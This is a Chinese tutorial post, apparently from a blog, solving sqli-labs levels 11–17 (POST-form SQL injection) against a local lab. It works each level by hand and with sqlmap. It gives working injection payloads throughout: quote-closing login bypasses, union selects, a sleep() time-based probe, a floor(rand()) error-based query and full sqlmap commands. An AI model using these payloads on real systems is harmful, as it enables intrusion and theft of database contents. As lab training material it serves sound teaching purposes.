sqli-labs11-17(手注+sqlmap)
这几关涉及到的都是post型data处注入,和get型的差别就是注入点的测试处不一样,方法都是一样的
0x01 sqli-labs less-11
1.手工
由于是post型注入,那么我们不能在url处输入,我们在下面表单处输入数据,才是post型的data请求部分,也可以通过抓包,对data部分进行sql语句注入
我们在username处输入1',password处任意输入,发现报sql语句错误

那么username处存在sql注入,我们跟上注释 --+,发现回显报错,跟上#,发现回显正常,那么成功闭合
’order by 3# 报错,‘order by 2# 正常显示
查询数据库’union select database(),2#
后面操作跟第一关一样
2.sqlmap注入
用burp抓包,然后,sqlmap需跟上data部分的数据
sqlmap语句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES
--dbms mysql --dbs --threads 8
其中的:
--data:后面可以加上数据段(post/get类型的都是可以的) --threads:最大并发线程,盲注时每个线程获取一个字符(7此请求),获取完成后线程结束,默认为1,建议不要超过10,否则可能影响站点可用性

这里不加--batch是有原因的,因为的有个选项要选择no

不然很慢
0x02 sqli-labs less-12
1.手注
用户名处输入1’,pssword处任意输入,没有报错,输入1“,报错,那么应该是双引号报错
加上#注释,还是报错,没有闭合,看看报错信息发现有括号,

那么加上括号,username为:1")#,密码任意输入,正确回显,然后试试union select,

之后常规操作
2.sqlmap注入
将我们手工试出来的除了注释符的闭合规则(万能密码)填入到data里面相应的参数中
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname=")or ("1")=("1&passwd=1")or("1")=("1&submit=Submit" --technique US --dbms mysql --dbs --threads 8
0x03 sqli-labs less-13
1.手注
闭合规则为:')#
输入')union select 1,2#,发现没有显示位,但是有报错信息,因此采用floor报错注入
后面报错注入的常规操作
2.sqlmap注入
需要在data中的两个参数输入注入规则的万能密码,破解更快

0x04 sqli-labs less-14
1.手注
输入”,报sql错误,输入“#成功闭合,因此闭合规则为:"#
在规则里面写入union select 1,2,正确查询没有显示,只会报错,因此同样采用报错注入
后面常规报错注入操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-14/?id=1" --data "uname=1&passwd=1&submit=Submit" --dbs --threads 8 --technique E --dbms mysql
0x05 sqli-labs less-15
1.手注
没有报错信息,试试1’and sleep(5)#也不行
应该是要登录用户名正确才行,试试admin'and sleep(5)#,发现延时5秒
参考第9关时间盲注的操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin'or'1'='1&passwd='or'1'='1&submit=Submit" --current-db --threads 8 --technique T
或者
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T
0x06 sqli-labs less-16
将闭合规则的‘换成“,后面操作同15关
0x07 sqli-labs less-17
1.手注
单双引号在user name里面没有报错,那么看源码

没有对password进行检查,但是先检查的是uname,因此我们用户名必须正确,这里选择爆破,爆出用户名。这里用户名是admin
那么用户名处填入admin,密码处填入’报错,填入’#,正常显示,正常显示没有回显位,因此采用floor报错注入

构造语句:’ and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)#

后面报错注入的常规操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-17/" --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E

sqli-labs11-17(手注+sqlmap)的更多相关文章
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- SQL注入 手注与联合注入
SQL注入,吧sql命令插入到WEB表单,或输入域名或页面亲求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令: 得到数据库用户名和密码 1:在以,{ .asp?id=32( ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- MySQL手注之盲注(布尔)
布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length() 返回字符串的长度, 可 ...
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- ACCESS手注
ASP一般搭载ACCESS或者mssql 判断数据库类型 http://www.***.com?id=1 and (select count(*) from sysobjects)>0 http ...
- MySQL手注之联合查询注入
了解联合查询注入之前,先要了解一下什么是union? union是用于合并两个sql查询结果的语句. 要使用union 必须有相同的列数 必须有两条以上的select语句组成 列的数据类型必须兼容 ...
- sql 手注 语法
mysql中的information_schema 结构用来存储数据库系统信息 information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表. | SCHEMATA ―― ...
- 2019 第二届 科成安洵杯 官方WriteUp -17网安
长文预警:对应源码请加企鹅群获取:861677907 0x01 WEB 1.1 勇闯贪吃蛇大冒险 一进去就看出来是一道web页面JS的小游戏,提示说输入CDUESTC CTF即可闯关成功,但是存在着d ...
随机推荐
- Tomcat安装教程及常见错误解决方法
目录 Tomcat安装教程及常见错误解决方法 一.安装前准备 ·熟悉自己电脑的操作系统版本(32位or64位) ·保证电脑上已经装好JDK,并且已经设置好环境变量. 二.Tomcat安装教程(以Tom ...
- Spring Cloud(七):服务网关zuul过滤器
上文介绍了Zuul的基本使用与路由功能,本文接着介绍Zuul的核心概念 -- Zuul过滤器(filter). Zuul的功能基本通过Zuul过滤器来实现(类比于Struts的拦截器,只是Struts ...
- Python3 (一) 基本类型
前言: 什么是代码? 代码是现实世界事物在计算机世界中的映射. 什么事写代码? 写代码是将现实世界中的事物用计算机语言来描述. 一.数字:整形与浮点型 整型:int 浮点型:float (没有单精度和 ...
- javascirpt获取随机数
/* getran(min, max, n): 获取min与max之间的随机数 n: n保留浮点数数量 */ function getran(min, max, n){ return Number(( ...
- Spring源码阅读笔记01:源码阅读环境准备
1. 写在前面 对于做Java开发的同学来说,Spring就像是一条绕不过去的路,但是大多数也只是停留在对Spring的简单使用层面上,对于其背后的原理所知不多也不愿深究,关于这个问题,我在平时的生活 ...
- 【python-leetcode206-翻转链表】反转链表
问题描述: 反转一个单链表. 示例: 输入: 1->2->3->4->5->NULL输出: 5->4->3->2->1->NULL进阶:你可 ...
- vue插件介绍
1.插件和组件的关系 在没有封装组件之前,如果不使用第三方插件,那么很多情况下我们会编写几个常用的组件来提供给页面使用,如Alert/Loading组件,而你可能需要在很多页面中引入并且通过compo ...
- asp.net core 3.1 入口:Program.cs中的Main函数
本文分析Program.cs 中Main()函数中代码的运行顺序分析asp.net core程序的启动,重点不是剖析源码,而是理清程序开始时执行的顺序.到底用了哪些实例,哪些法方. asp.net c ...
- R12客户表结构分析
客户表/联系人/PARTY关联 HZ_PARTIES 客户账户表 HZ_CUST_ACCOUNTS 例子: select hp.party_number --客户注册标识 ...
- Mysql:初识MySQL
转载自:https://www.cnblogs.com/hellokuangshen/archive/2019/01/09/10246029.html Mysql:初识MySQL 只会写代码的是码农: ...